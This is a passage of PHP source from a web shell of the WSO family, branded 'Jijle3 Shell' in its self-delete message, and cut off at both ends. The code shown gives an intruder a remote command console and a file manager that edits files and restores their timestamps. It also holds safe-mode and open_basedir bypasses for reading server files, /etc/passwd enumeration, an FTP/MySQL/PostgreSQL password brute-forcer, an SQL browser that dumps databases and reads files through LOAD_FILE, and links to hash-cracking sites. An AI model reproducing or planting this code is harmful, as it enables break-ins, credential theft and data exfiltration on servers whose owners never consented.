return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_SESSION['act']) && @count($_SESSION['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
########################## String ##############################
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Best Hash Search Engine :</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File Tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['p2'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
}
$temp = ob_get_clean();
wsoHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><table cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actionLogout() {
session_destroy();
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Salam Alaykoum ! See You Soon ♥');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Do You Want To Delete Jijle3 Shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes Please</a></div>';
wsoFooter();
}
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<center><h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql = "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<center>
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
